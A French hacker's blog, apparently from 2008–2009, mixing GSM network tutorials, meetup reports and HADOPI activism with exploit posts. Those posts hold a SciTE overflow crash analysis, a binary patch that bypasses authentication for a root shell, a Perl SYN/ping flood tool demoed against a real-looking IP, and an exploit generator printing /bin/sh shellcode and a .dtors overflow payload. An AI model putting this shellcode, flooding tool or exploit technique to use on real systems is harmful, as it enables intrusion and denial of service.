3 AT_PHDR Program headers for program 0x8048034
4 AT_PHENT Size of program header entry 32
5 AT_PHNUM Number of program headers 9
7 AT_BASE Base address of interpreter 0x110000
8 AT_FLAGS Drapeaux 0x0
9 AT_ENTRY Entry point of program 0x8052d20
11 AT_UID Real user ID 1000
12 AT_EUID Effective user ID 1000
13 AT_GID Real group ID 1000
14 AT_EGID Effective group ID 1000
23 AT_SECURE Boolean, was exec setuid-like? 0

25 AT_RANDOM Address of 16 random bytes 0xbfffb66b --> allons voir ce cet offset contient

31 AT_EXECFN File name of executable 0xbfffffed "/usr/bin/scite"
15 AT_PLATFORM String identifying platform 0xbfffb67b "i686"
0 AT_NULL End of vector 0x0

(gdb) x/48x 0xbfffb66b
0xbfffb66b: 0x8a29b215 0x563d86b0 0xe525c77b 0x1a1921ee
0xbfffb67b: 0x36383669 0x00000000 0x00000000 0x7273752f
0xbfffb68b: 0x6e69622f 0x6963732f 0x41006574 0x41414141
0xbfffb69b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6ab: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6bb: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6cb: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6db: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6eb: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6fb: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb70b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb71b: 0x41414141 0x41414141 0x41414141 0x41414141
...

Nos "A"

...

0xbffff66b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff67b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff68b: 0x41414141 0x41414141 0x00414141 0x4942524f
0xbffff69b: 0x4f535f54 0x54454b43 0x3d524944 0x706d742f
0xbffff6ab: 0x62726f2f 0x6b2d7469 0x007a6b6d 0x5f485353
0xbffff6bb: 0x4e454741 0x49505f54 0x34313d44 0x47003033

#13 0x008fcb56 in __libc_start_main (main=0x805dca1, argc=2, ubp_av=0xbfffb524,
init=0x8106380, fini=0x8106370, rtld_fini=0x11dd20 <_dl_fini>,
stack_end=0xbfffb51c) at libc-start.c:220

Si on look a quelques offsets pret , on s'apperçois que nos \x41 se retrouve bien sur la stack (grace a stack_end et la ligne :

25 AT_RANDOM Address of 16 random bytes 0xbfffb66b ..... entre autre )

/* Début des \x41 a l'offset de fin de la stack +350 octets (soit 350 octets plus haut , la pile croit vers les adresses basses) */

On peux néanmoins déduire qu'il ne s'agit pas d'un cas classique de stack overflow ( et a priori EIP ne peut etre overwrité).
Une de mes "intuitions" me poussa donc a déposer un breakpoint sur l'offset correspondant au début de la section .dtors puis .ctors :

la .dtors ne donnant rien ...

breakpoint sur .ctors :

r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /usr/bin/scite `perl -e'print"A"x4096'`
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x0810643b in ?? ()
crash a l'appel de la .ctors ??

J'avoue que je suis assez perplexe , et que l'exploitation ne sera pas des plus easy , mais d'autres pistes ont germés depuis ces dumps (ret into entre autre) ;-) et puis c'est tout l'intéret aprés tout .

J'espere que cette petite presentation de mon PoC concernant Scite 1.76 vous donnera envie de voir la suite (un jour peu etre qui sait ).

Link du PoC

Manifeste pour la création d'une organisation hacker en France

2009-09-03T22:12:00.000+02:00

"À lire et à diffuser partout (blogs, forums, réseaux sociaux, famille, collègues, amis, camarades de lutte militante, etc.).
Nous avons *besoin* de retours, n'hésitez donc pas à critiquer et/ou à remettre en question."

Version pdf

Version .txt

Vous pouvez retrouver dg-sc sur SILC ( silc.dg-sc.org) ou sur leur site .

C'est a travers ces quelques lignes que je vous annonces le come-back de dg-sc ainsi qu'une reprise d'activité de mon blog.

J'en profite aussi pour vous donner un link: celui de 3Lrvs.

3Lrvs est un repository commun visant a héberger documentations diverses et codes sources,je vous invite a y jeter un oeil (bien qu'il vienne juste d'etre créé) afin de mieux cerner la chose.

Bonne lecture a tous .

Résumé du 2600 Nîmes du Samedi 04 Avril

2009-04-05T16:32:00.000+02:00

Le rendez-vous avait lieu a 14h devant un centre commercial en centre ville le temp que tout le monde soit présent et hop , direction un petit bistro simpa pour lancer ce petit meet .

Les discussions se sont trés vite dirigées sur Hadopi avec une petite vidéo simpathique a l'appuis , l'actualité et les moyens alternatifs concernants le P2P (entre autre), l'avenir de freenet , silc ...enfin , divers moyens de communications et partages sécurisés.

Aprés quelques cafés, nous abordons l'insécurité de certains moyens de paiement en ligne puis au moment ou les bieres arrivent a notre table, retour sur l'anonymat avec une breve présentation sur l'ip spoofing via un petit utilitaire .

Viens ensuite l'architecture des réseaux de téléphonie mobile ,le phreaking gsm nous poursuivons par Hebiko qui nous présente de la doc intéréssante sur le carding .

De fil en aiguille les discours s'enchainent , documents a l'appuis jusqu'a la fin de ce petit meet fort sympathique malgrés le petit comité présent (4personnes).
Enfin ,nous nous dirigeons vers la sortie avec un petit " au mois prochain " qui fait plaisir a entendre pour ce 2k6 Nîmois qui peu etre commencerait a prendre ? Espérons-le :-} .

Réseaux GSM : chapitre II

2009-03-30T16:24:00.000+02:00

Salut , me revoila , je poursuis mon aventure ....

Cette fois -ci nous allons nous intérésser a des choses bien plus passionante (fallait bien avoir les bases avant quand meme , chaque choses en son temp :-P ).

Allez , c'est reparti :

[+] Etude simplifiée des fréquences de travail du GSM :

Le systeme GSM/DCS utilise 2 fréquences :

une autour des 900 MHz (GSM) et l’autre autour de 1,8 GHz (DCS).

Chacune est elle meme divisée en 2 sous bandes servantent l’une pour le transfert d’informations entre le mobile et la station de base ( voie montante ) , et l’autre pour la liaison entre la station de base et le mobile ( voie descendante ) :

# bande EGSM étendue ( bande de largeur totale 35 MHz )
- de 880 à 915 MHz du mobile vers la base (voie montante)
- de 925 à 960 MHz de la base vers le mobile (voie descendante)

+ écart entre les deux fréquences: 45 MHz
- 174 canaux espacés de 200 kHz

# bande DCS ( bande de largeur totale 75 MHz )
- de 1710 à 1785 MHz du mobile vers la base (voie montante)
- de 1805 à 1880 MHz de la base vers le mobile (voie descendante)

+ écart entre les deux fréquences: 95 MHz
- 374 canaux espacés de 200 kHz

L'utilisation de fréquences moins élevées augmenterait sensiblement la portée des stations de base.
Ainsi en 450 MHz, leur portée serait près du double de ce qu'elle serait en 900 MHz.

Ericsson et Nokia travaillent à la mise au point d'une norme GSM fonctionnant en 450 MHz ou en 480 MHz.

Dans la bande 450, les fréquences utilisées seraient 450,4 à 457,6 MHz pour les liaisons montantes (GSM vers station de base) et 460,4 à 467,6 MHz pour les liaisons descendantes.

Une BTS émet en permanence des informations sur son canal BCH (Broadcast Channel appelé aussi voie balise) constituant ainsi un lien permanent entre mobile et station de base à partir de la mise en route du mobile jusqu’à sa mise hors service, qu’il soit en communication ou non.

[+] Adresssage , Confidentialité et Sécurité de la transmission sur la voie radio (interface Um):

-Pré-requis:

1) I.M.S.I :

*Numéro (identité) d'abonné se trouvant dans la SIM d'une part et dans la HLR d'autre part (logique)
IMSI n'est connu qu'a l'intérieur du réseau GSM et doit ( autant que possible) rester secrete (d'ou l'utilisation de TMSI).

2) T.M.S.I :

*Identifiant temporaire codé sur 4 Octets modifié a chaque changement de zone (gérer pas un VLR) .
Le TMSI est utilisé pour identifier le mobile appelé ou appelant lors de l’établissement d’une communication .

3) M.S.I.S.D.N :

*Numéro de l'abonné . C'est la seule donnée concernant l'identitée de l'abonné connu hors réseaux GSM .

4) M.S.R.N :

*Numéro attribué lors de l'établissement d'un appel permettant d'acheminer les appels via les commutateurs (MSC)

5) I.M.E.I :

*Numéro d'équipement mis en mémoire dans le portable a la fabrication , c'est donc l'identifiant de l'appareil .

L'IMSI est transmis a la mise sous tension du mobile afin d'éviter de l'emmettre fréquemment de cette maniere il est plus difficile de l'intercepter.

Une fois l'IMSI transmis , les TMSI successives du mobile seront transmises. Ce n’est qu’en cas de perte du TMSI ou lorsque le VLR courant ne la reconnaît pas (par exemple après une panne) que l’IMSI peut être retransmise.

En cas d'echec lors de la vérification d'un de ces identifiants ,on interdit l'accés aux services.

L’allocation d’une nouvelle TMSI est faite au minimum à chaque changement de VLR, et suivant le choix de l’opérateur, à chaque intervention du mobile. Son envoi à la station mobile a lieu en mode chiffré .

* Le chiffrement GSM sur la voie radio (interface Um):

Pour assurer la confidentialité de leurs abonnés , les opérateurs ont recours au éléments suivant :

-Nombres aléatoire RAND (128 Bits)

-une clée appellée Ki (128 Bits) pour l'authentification et la création d'une seconde clée Kc ( en 64 Bits) (la clée Ki,stockée dans la carte SIM et dans l'AUC coté réseaux , est attribuée lors de l'abonnement avec l'IMSI)

-un algorithme A3 fournissant le nombre SRES (32 Bits) à partir des arguments de RAND et de la clé Ki (contruction SRES)

-un algorithme A8 pour la détermination de la clé Kc à partir des arguments de RAND et Ki (construction clée Kc)

-un algorithme A5 pour le chiffrement / déchiffrement des données à partir de la clé Kc (chiffrement a proprement parlé)

Chaque abonné utilise une clé Ki propre.
Les algorithmes A3, A5 et A8 sont quant à eux les mêmes pour tous les abonnés d’un même réseau.

-- Schéma Simplifié --

RAND(128Bits) ->SRES=A3[Rand(128Bits),Ki(128Bits)] -> Kc=A8[Rand(128Bits),Ki(128 Bits)] -> [N° de Trames en 22 Bits, Clée Kc(64 Bits)] -> Algorithme A5 -> Trames Chiffrées

Le centre d’authentification (AUC) stocke ainsi :
-l’algorithme d’authentification A3,
-l’algorithme de génération de la clé de chiffrement A8
-les clés Ki des différents abonnés du réseau GSM.

Le HLR stocke les (Kc, RAND, SRES) pour chaque IMSI.

Dans le VLR les (Kc, RAND, SRES) sont enregistrés pour chaque IMSI avec les couples TMSI - IMSI .

La BTS quand a elle ,stocke l’algorithme de chiffrement A5 pour les données usager et pour les données de signalisation.

La station mobile (MS) quand a elle , contient dans la carte SIM de l’abonné : l’algorithme d’authentification A3, l’algorithme de chiffrement A5, l’algorithme de génération des clés de chiffrements A8, la clé d’authentification individuelle de l’utilisateur Ki, la clé de chiffrement Kc, le numéro de séquence de la clé de chiffrement et le TMSI.

Voila actuellement ou j'en suis , je pense que maintenant il commence a y avoir matière a réflexions et par conséquent je vous donne rendez-vous ici d'ici quelques temps pour de nouvelles aventures qui j'espère vous plaisent et vous permettent autant qu'a moi de découvrir de nouvelles choses .

Cya \o>

Liens utiles:
http://fr.wikipedia.org/wiki/A5/1
http://internetmobile.falorni.fr/publications/securite-architecture-gsm/

Réseaux GSM : chapitre I

2009-03-18T17:25:00.000+01:00

Salut a tous !

Alors voila , j'ai décider de me lancer dans une nouvelle aventure : l'univers des réseaux de télécommunication mobile ou GSM (Global System for Mobile communications) .

Voici donc une première approche afin de comprendre un peu mieux les bases de ce monde pour ma part encore trop peu exploré jusqu'alors , et pourtant incontournable et qui plus est , en pleine expansion !

Pré-requis

Zone cellulaire : Zone couverte
Les cellules sont plus ou moins grandes en fonction du nombre potentiel d’abonnés qu’elles doivent gérer .
Ainsi , les zones de couverture des cellules voient leur taille diminuer ( + d'abonnés == cellules plus petites ) pour garantir une large bande passante aux
utilisateurs.

Routage: Construction d’un chemin de communication entre deux téléphones mobiles.

[+] Architecture d'un Réseau GSM

1) Le MS :

Dans réseau GSM, le terminal mobile MS (Mobile Segment)a trois aspects :

* Le téléphone de voiture

* Le portable d'une puissance de 8 W

* Le portatif (terminal de poche), d'un poids compris entre 150 et 350 grammes et d'une puissance d'environ 2W

Le terminal est scindé en deux parties :

* Le combiné téléphonique identifié par un numéro unique : l'IMEI (International Mobile Equipement Identity) qui est l'identité internationale spécifique à chaque combiné.
En pratique ce numéro n'est que peu utilisé

* La carte SIM (Subscriber Identity Module) et qui contient les informations suivantes :

o- Le numéro d'identification temporaire attribué par le réseau qui permet la localisation et qui est utilisé sur les canaux radio (TMSI Temporary Station Identity)
o- La liste des fréquences à écouter pour identifier la meilleure Station de Base (BTS)
o- Les algorithmes de chiffrement

Cette liste n'est pas exhaustive. D'autres informations sont stockées sur cette carte, tel que le code permettant de la débloquer :

une carte SIM se bloque automatiquement après un certain nombre d'erreurs sur le code entré par l'utilisateur.

Cet ensemble permet d'accéder aux services d'un PLMN GSM.

Cette découpe permet à l'usager d'utiliser n'importe que terminal GSM car son identification complète est portée par la carte SIM.
L'établissement d'une communication commence toujours par une phase d'authentification durant laquelle le réseau dialogue avec la carte SIM.

Le terminal mobile a pour seule interface les équipements de type BTS et ses fonctionnalités sont :

* La gestion de la liaison de données avec le BTS (protocole LAPDm)

* La surveillance périodique de l'environnement par des séries de mesure stockées sur la carte SIM

* La restitution des données vocales ou non (messagerie) destinées à l'abonné

* Les opérations de chiffrement

2)Le BSS (Base Station sub System) comprend :

*BTS ( Base Transceiver Station)
Les stations de base (BTS) assurent la couverture de l’aire de service :
Chaque cellule dispose d’une BTS et d’une seule,une BTS gère la transmission radio.

-Une BTS est reliée à un contrôleur de station de base BSC (BSC, base station controller).

*BSC (Base Station Controller)
Un BSC est lui-même relié à un commutateur de service mobile (MSC, mobiles services switching center).

( 1 seule BTS par cellule mais un BSC gère un ensemble de BTS )

Le BSC organise la supervision, l’allocation et la relâche des canaux radios (routage), conformément aux demandes reçues du MSC.

3) Le NSS comprend : des bases de données (HLR) et des commutateurs (MSC)

*HLR (Home Location Register)

Un HLR est une base de données de localisation et de caractérisation des abonnés .

A l’aide du numéro appelé (appel entrant), on en déduit la localisation du destinataire grâce à l’enregistreur de localisation nominal (HLR).

Le HLR fournit l’adresse du MSC, BSC, et BTS couvrant l’aire dans laquelle se trouve le destinataire.

*MSC (Mobile-services Switching Center)

Les MSC sont des commutateurs mobiles associés en général aux bases de données VLR (Visitor Location Register) .
Le MSC gère l’établissement d’appel, la relâche d’appel, et tout ce qui est lié aux identités des abonnés

*VLR (Visitor Location Register)

C'est la base de données qui gère les abonnés présents dans une certaine zone géographique.
Ces informations sont une copie de l'original conservé dans le HLR.

*AuC (Authentication Center)

Il mémorise pour chaque abonné une clé secrète utilisée pour authentifier les demandes de services et pour le chiffrement des communications. Un AuC est en général associé à chaque HLR.

[+] Schéma simplifié d'un réseau GSM ( topologie de type "Arbre")

4) Les interfaces :

a)L’interface Um
C’est l’interface entre les deux sous systèmes MS (Mobile Station) et le BSS (Base Station Sub-system. On la nomme couramment « interface radio » ou « interface air ».

b)L’interface Abis
C’est l’interface entre les deux composants du sous système BSS : la BTS (Base Station Transceiver) et le BSC (Base Station Controler).

c)L’interface A
C’est l’interface entre les deux sous systèmes BSS (Base Station Sub System) et le NSS (Network Sub System).

Voila pour l'introduction , j'espère que cet article vous aura permis d'apprendre deux trois choses concernant les réseaux de téléphonie mobile .

Rendez-vous sous peu pour la suite .

Have Fun !

Parce que la France n’est pas la Chine,parceque ce sont les utilisateurs qui ont fait du cyber espace ce ce qu'il est aujourd'hui : "BLACK-OUT" !

2009-02-27T12:05:00.000+01:00

(!) Devant le ridicule d'un gouvernement qui s'entête à vouloir déconnecter du Net des familles entières sans preuves valables ni procès, la Quadrature appelle les citoyens épris de liberté à procéder au « black-out » de leurs sites, blogs, profils, avatars, etc.

Comme en Nouvelle-Zélande, seul pays avec la France où la « riposte graduée » devait être imposée par la loi, pour finalement être repoussée :

pour protester contre cette loi imbécile et sa « liste blanche » de sites autorisés, le Net français doit agir et se draper de noir.

Ainsi , la Quadrature invite tous ses soutiens, individus et collectifs, à :

[*] Peindre leurs sites, blogs, profils, courriers, commentaires ou avatars de la couleur noire du « black-out », au besoin en utilisant les images mises à leur disposition.

[*] Afficher un message expliquant les motivations de cette protestation contre une loi absurde, inapplicable et dangereuse qui met en péril le web français, l'innovation, et les libertés fondamentales.

[*] Faire un lien vers le « tableau de bord HADOPI » de La Quadrature du Net.

[*] Contacter son député pour lui annoncer que l'on a procédé au « black-out » de son espace sur le Net pour protester contre la loi « Création et Internet », lui transmettre le dossier de La Quadrature6 et lui demander ce qu'il en pense.

[*] Inviter ses proches et ses contacts à faire de même.

« Cet appel est un hommage rendu aux citoyens néo-zélandais qui ont pu faire entendre la raison à leur gouvernement. Il s'agit d'un remix, d'une réappropriation d'une idée qui, comme la culture, n'existe que pour être partagée. Ce sont ceux qui traitent leurs clients de " pirates " et les députés qui votent leurs lois qu'il faudrait déconnecter !»

Rendez-vous ici pour plus d'infos :

http://www.laquadrature.net/fr/APPEL-HA … t-francais

MOBILISONS NOUS !

"Sysinfos" is powned .

2009-02-25T22:58:00.000+01:00

Au lendemain de l'article sur les .bss overflow posté par mon ami HyP sur son blog , j'ai eu envie de voir comment bypasser l'authentification de son "Sysinfos" mais avec une approche différente .

Bon , aprés coup je me suis vite rendu compte que ce serait trés classique voir presque triste , je le reconnait mais 24h aprés la publication de son article , ça me tenter donc ...

Code de Sysinfos.c ici

Premiere étape comme souvent , on désassemble a la recherche d'une ou plusieurs intructions intéréssantes ( ici avec objdump) de cette maniere :

objdump -d Sysinfos

et...bingo !

Aprés avoir parcouru les lignes ,on se rend vite compte de la simplicité de la chose lorsqu'on tombe sur un JNE (Jump if Not Egal ) intéréssant.

...........................................
...........................................>

8048410: 55 push ebp
8048411: 89 e5 mov esp,ebp
8048413: 53 push ebx
8048414: 83 ec 04 sub 0x4,esp
8048417: 80 3d bc 98 04 08 00 cmpb 0x0,0x80498bc
804841e: 75 40 jne 8048460 <__do_global_dtors_aux+0x50>
;saut au destructeur si valeur inégale

<..........................................
..........................................

Reste plus qu'a l'éditer a l'aider d'un éditeur hexadécimal pour en modifier la valeur sachant que l'on doit remplacer la valeur 75 par 74 .

Nous avons jne = 75
Nous allons faire en sorte d'obtenir je = 74

Editons donc a l'aide (par exemple ) de Ghex .

Ghex2 Sysinfos

On va rechercher la valeur hexa 75 40 et hop , y'a plus qu'a modifier , enregistrer, faire un chmod +x Sysinfos et lancer le prog pour vérifier.

[root@localhost kmkz]# ./Sysinfos2 i
Vérification de votre mot de passe..
'+) Authentification réussie...
U'r root!

sh 3.0 #

Et voila , le Sysinfos est encore une fois bypasser et ce d'une façon des plus élémentaire mais c'était " just for fun " ;-) .

Quand on ne sais que faire ... on code nawak (et ça se voit :-P )

2008-10-22T15:47:00.000+02:00

o/ All !

Bon bah tout est dans le titre :

cette fois - ci ne sachant pas trop sur quoi bosser et , je doit l'avouer ,ayant envie de me remettre au Perl aprés tant de temp passé sur d'autre langages , je me suis mis a coder un petit tool ( incomplet mais bon c'est juste une "remise a niveau " :-P ) , histoire de me replonger dans les méandres de ce magnifique langage qu'est le Perl .

Comme dis ci-dessus , ici rien d'extraordinaire car il s'agissait surtout d'un "prétexte" pour revoir un peu le Perl .

Cependant , je compte réellement continuer a travaiiler dessus et ce , dans de vrais projets a venir , mais je n'en dirais pas plus .... ;-)

----------------->
Bon , ce tool donc - (baptisé KM-Net-tool pour kmkz network tool ) - permet entre autre de scanner (super original je sais) des ports définis par l'utilisateur sous forme de "plage" a scanner ( Port de départ et d'arrivée) tout en choisissant aussi le Time-out et le protocole a utiliser .

Il permet aussi la pratique du SYN flood en forgeant plus ou moins ses paquets :

ip de départ , ip cible , port cible , taille du paquet ; ainsi que le classique et peu utile (mais toujours intéréssant ne serait-ce que pour ce qu'on y apprend ) ping flood , largement moins paramétrable (si peu utile...) : ip cible et protocole uniquement.

Voici une ptite démo de ce code basique mais toutefois bien intéréssant a coder , surtout pour se remettre dans le bain car , je le rappelle , c'est ici mon objectif , rien de plus .

<----------------- Présentation :
[root@ KM-Net-tool]# perl KM-Net-tool.pl

Usage KM-Net-tool.pl: [-f# -S# -p# -l]

-S (Scan) /host_to_test / \Time out\ /Port to Start/ \Port to Stop\ /Protocol/
-f (SYN Flood) /Source-IP/ \Target_IP\ /Target_Port/ \Packet_size\
-p (Ping Flood) /Target-IP/ \Protocol\
-l (GNU Licence)

-----------------------------------------------------------

Contact "kmkz" for more informations.

Mail: kmkz[at]live[dot]fr.
WebSite: http://kmkz-web-blog.blogspot.com
Board: www.collective-utopia.no-ip.fr

----------------->

Démo d'un scan (SUID Root utilisé par le module RawIP) :

[root@ KM-Net-tool]# perl KM-Net-tool.pl -S 213.251.1xx.xxx 1 1 200 tcp

[+]Checking modules....

[ Module IO::Socket::INET : OK ]
[ Module Net::Ping : OK ]
[ Module Net::RawIP : OK ]
[ Module Getopt::Std : OK ]

---------------------------------------------------------

~ PING 213.251.1xx.xxx .... + Ok!

~ Localtime: Wed Oct 22 16:02:18 2008
[+] Time out : 1
[+] Starting scan port n° 1
[+] Finish scan port n° 200
[+] Protocol Selected : tcp

---------------------------------------------------------

(+) Starting Scan (using Thread) :

[+] Port 21 - tcp Open
[+] Port 22 - tcp Open
[+] Port 25 - tcp Open
[+] Port 53 - tcp Open
[+] Port 80 - tcp Open
[+] Port 110 - tcp Open
[+] Port 143 - tcp Open

Rien de bien sorcier en soit ...autre exemple : un SYN flood :

[root@ KM-Net-tool]# perl KM-Net-tool.pl -f 84.56.82.98 213.251.178.117 22 4000

[+]Checking modules....

[ Module IO::Socket::INET : OK ]
[ Module Net::Ping : OK ]
[ Module Net::RawIP : OK ]
[ Module Getopt::Std : OK ]

---------------------------------------------------------

+1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 ......

Ou chaque "+1" signifie qu'un paquet a été envoyé a la cible .

Bon on va stopper la car je pense que vous avez compris comment ce tool trés simple d'usage fonctionne , si ce n'est pas le cas , a vous de consulter l'aide fournie avec .

A bientot pour de VRAIS projet en Perl ;-) c'est promis !

<------------------------- >

Archive du projet KM-Net-tool

<------------------------->

Résumer du premier 2600 Nîmois

2008-09-08T17:18:00.000+02:00

Salut a tous !
Et bien voila , le premier meet' a bien eu lieu sur Nîmes .

Le résumé ce trouve dispo sur le forum 2600fr.org a cette adresse :
résumer 2600 Nîmes

Ce qu'on peu en dire en 2 mots c'est que ce fut un agréable moment intéréssant et riche en partage .
Nous nous sommes posé dans le "Cyber-Restaurant " le " Net m'Eating " , ou nous avons pu bidouiller un peu le tout en étant bien confortablement installé ( voir résumé pour plus d'infos).
net m' eating

J'espere tout de meme y voir un peu plus de monde dans les mois a venir mais chaque choses en son temp .

Si certain sont intéréssés , n'hésitez pas a me contacter pour avoir plus d'infos .

merci a tous .

.Data Overflow et utilisation de "DBOEE" pour générer l'exploit approprié et exploiter

2008-08-23T18:43:00.000+02:00

Salut a tous et a toutes .
Dans ce nouveau billet , je compte vous présenter mon projet baptisé "DBOEE" (Data-Based-Overflow Easy Exploitation) dans sa version "beta" si on peu dire .

Mais en quoi cela consiste -il ?

En fait , ce billet sera ici un complément du précédent concernant les .Data Overflows .
Le précédent billet m'a valut un commentaire de la part de quelqu'un ( il se reconnaitra j'espere ;-)) que j'admire me demandant "pourquoi tu n'as pas coder l'exploit qui va avec ?" .

Cette question a pour réponse : pas envie de coder un exploit pour un vuln.c ( pas trés utile en soit) .

Mais en y réfléchissant , pourquoi ne pas coder un programme qui , non seulement serait un exploit pour ce vuln.c, mais aussi serait adaptable a d'autres .Data Overflow ?

De la est né le projet DBOEE ayant pour objectif ( dans la version beta tout du moins ) ,la possibilité de s'adapter a d'autre situations afin de pouvoir facilement exploiter et au passage générer l'exploit associé .

Concrètement DBOEE vous demandera un shellcode (fournis au cas ou ..) , le nombre d'octets entre le buffer et la section DTORS a écraser ( j'automatiserais ça par la suite ) ainsi que la cible .

Concernant le nombre d'octets , le programme le calcule en déduisant la taille du shellcode de façon a faciliter cette opération .
Une fois l'exploit créé , il est sauvergardé dans le fichier Exploit.txt puis exploite le programme vulnérable.

Voila pour la présentation du projet DBOEE qui n'en ait ici qu'a ses débuts ( voir readme joint a l'archive).
Place au test :
[kmkz@localhost Fuzzer_Data-overflow]$ ./DBOEE

----------------------------
- Data-Based-Overflow Easy Exploitation -
----------------------------

[+]Programm :
-Devellopped by kmkz(c)
-Compilation :gcc -o DBOEE DBOEE.c

[+]Author's informations :
kmkz's web sites -> http://kmkz-web-blog.blogspot.com & www.collective-utopia.no-ip.fr

[+]This programm has been coded for makes easier the Data based Overflow exploitation.
You just have to give a shellcode(reached) , numbers of Bytes and the target name . DBOEE calculate the payload, exploit program and create feat ,nice isn't it.?

[~]This is my first real projet in C language and Beta version also I hold has excuse me for essential lack

---------------------------****************---------------------------

---------------------------STARTING PROGRAM---------------------------

[*] Enter Adress Return :
"\x60\x95\x04\x08"

[*] Enter your shellcode :
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"

---------------------------Starting Exploitation---------------------------

[~]Program Running......

[~] check on the ongoing shellcode...
- Shellcode maximum Size : 1000
- Shellcode character -> 73
- Shellcode size (octets) -> 18

---------------------------Shellcode Created---------------------------

[*] enter the number of 'A' (octets) necessary for Overflow exploitation :
272

---------------------------Shellcode Created---------------------------

[~]Generating Payload....

(+)[Your Payload is] -->
272 x 'A' [your shellcode]

(+) subtraction of the shellcode bytes ...

[*] Payload generated is : printf 254 x 'A' [shellcode]

---------------------------Payload Created---------------------------

[~] Give me a target (example-> ./vuln)
./vuvu
-Target programm is -> ./vuvu

---------------------------Generating Exploit File---------------------------

[#] Creating Exploit File ....

[#]Exploit.txt : success !

[+] Sending payload...

------------ Result ------------
sh-3.2$

-----------------------------------------------------------------------------------------------------------------------------------------------------------
-Contenu du Fichier Exploit.txt -
-----------------------------------------------------------------------------------------------------------------------------------------------------------
`printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`
-----------------------------------------------------------------------------------------------------------------------------------------------------------

Comme on peu le constater , l'exploit généré correspond en tout points a celui obtenu lors du billet précédent.

-----
Archive du projet DBOEE
-----

Voila , le source est un peu (beaucoup ) plus présentable désormais grace a la participation de m_101 (que je remercie au passage ).
Pour plus d'infos , consulter le "readme" inclu a l'archive.
A trés bientot et merci a tous \o !

ps2: Retrouver l'appel a participation au projet sur le forum

Collective-Utopia

.Data Section overflow

2008-08-09T12:38:00.000+02:00

Hello World !
Me revoila pour un petit billet (probablement un des derniers de l'été /o\ mais pas le dernier de ce blog , loin de la ;-) !
Alors , étant un peu a court d'idées mais ayant besoin de travailler sur quelque chose d'assez concret/intéréssant , je me suis dis "pourquoi pas un article sur les Data overflow?" .
Cet article montrera uniqueme les notions de bases qui seront approfondie par la suite dans d'autres articles a venir .
|------------ Environnement -----------|
Il reste inchangé , cependant il est bon de le rappeller :
Linux Free 2.6.22.19-desktop-2mdv 2008 - GNU/Linux
i686 Intel(R) Pentium(R) 4 CPU 2.93GHz
|------------ Environnement -----------|

Les Data Overflow sont donc des Buffers Overflow se situants donc dans la section .Data (logique ,non..?) .

Contrairement aux Stack Overflow , nous n'allons pas chercher a "écraser" la pile mais bel et bien une autre Section mémoire .

Commençons la pratique :

Tout d'abord regardons l'organisation des sections de notre programme vulnérable (fourni en fin d'article) :

[kmkz@localhost Data_overflow]$ size -A -x vuvu // Simpa le nom
bss2 :
section size addr
.interp 0x13 0x8048114
.note.ABI-tag 0x20 0x8048128
.gnu.hash 0x20 0x8048148
.dynsym 0x50 0x8048168
.dynstr 0x4c 0x80481b8
.gnu.version 0xa 0x8048204
.gnu.version_r 0x20 0x8048210
.rel.dyn 0x8 0x8048230
.rel.plt 0x18 0x8048238
.init 0x30 0x8048250
.plt 0x40 0x8048280
.text 0x15c 0x80482c0
.fini 0x1c 0x804841c
.rodata 0x8 0x8048438
.eh_frame 0x4 0x8048440

.ctors 0x8 0x8049444 ---> constructor
.dtors 0x8 0x804944c ---> destructor

.jcr 0x4 0x8049454
.dynamic 0xc8 0x8049458
.got 0x4 0x8049520
.got.plt 0x18 0x8049524

.data 0x120 0x8049540 ---> Section .Data contenant le buffer vulnérable

.bss 0x4 0x8049660
.comment 0x177 0x0
.debug_aranges 0x50 0x0
.debug_pubnames 0x25 0x0
.debug_info 0x1cd 0x0
.debug_abbrev 0x6f 0x0
.debug_line 0x147 0x0
.debug_str 0xcf 0x0
.debug_ranges 0x40 0x0
Total 0xbc7

Vous remarquez 2 sections appellées Dtors et Ctors ( Constructor & Destructor).
Il s'agit de 2 sections présentes dans un fichier de format ELF qui sont deux attributs du
compilateurs gcc.
Elles permettent l’exécution de fonctions avant l’appel à la fonction
main() et avant le dernier exit() du programme .
( c'est a dire qu'elle le construisent et le détruisent a la fin ).

Ainsi, en faisant déborder le buffer vulnérable de la section .data nous
arrivons à écrire dans la section .dtors et à exécuter du code à la sortie de notre
programme.

---------------------------------->
Organisation des Ctors et Dtors:

0xffffffff . . . 0x00000000
<----------------------------------
Meme lorsque ces 2 fonctions se trouvent etre vides , elle sont tout de meme présentes en mémoire .

Dans vuvu.c , la section .dtors est justement vide :

---------------------------------->

[kmkz@localhost Data_overflow]$ objdump -s -j .dtors vuvu

bss2: file format elf32-i386

Contents of section .dtors:
804944c ffffffff 00000000
<---------------------------------- Prenons maintenant les renseignement qui seront nécéssaire a la réalisation de ce petit exploit :

---------------------------------->

(gdb) disas main
Dump of assembler code for function main:
0x08048344 : lea 0x4(%esp),%ecx
0x08048348 : and $0xfffffff0,%esp
0x0804834b : pushl 0xfffffffc(%ecx)
0x0804834e : push %ebp
0x0804834f : mov %esp,%ebp
0x08048351 : push %ecx
0x08048352 : sub $0x14,%esp
0x08048355 : mov 0x4(%ecx),%eax
0x08048358 : add $0x4,%eax
0x0804835b : mov (%eax),%eax
0x0804835d : mov %eax,0x4(%esp)
0x08048361 : movl $0x8049560,(%esp)
0x08048368 : call 0x80482b0
0x0804836d : add $0x14,%esp
0x08048370 : pop %ecx
0x08048371 : pop %ebp
0x08048372 : lea 0xfffffffc(%ecx),%esp
0x08048375 : ret
End of assembler dump.

---------------------------
Adresse de notre buffer :
